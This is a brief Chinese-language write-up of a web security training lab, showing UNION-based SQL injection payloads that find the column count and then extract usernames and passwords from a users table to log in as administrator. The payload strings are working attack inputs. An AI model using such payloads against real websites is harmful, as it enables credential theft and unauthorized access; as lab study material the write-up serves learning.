# Web SQL injection Lab9 一樣先進入網站並攔截請求。 ![image](https://hackmd.io/_uploads/rkdUjQVXge.png) ![image](https://hackmd.io/_uploads/H1Ejs7EQgg.png) 透過前面學習到的技巧開始找管理員帳密，先找出欄位數量。 ``` '+UNION+SELECT+NULL,NULL-- ``` ![image](https://hackmd.io/_uploads/ryFk2XNQeg.png) ``` '+UNION+SELECT+'abcdef',NULL-- ``` ![image](https://hackmd.io/_uploads/By_Q3XV7xe.png) ``` '+UNION+SELECT+username,password+FROM+users-- ``` ![image](https://hackmd.io/_uploads/SJ58nXNXgx.png) 接著直接登入。 ![image](https://hackmd.io/_uploads/Sygih7Emle.png)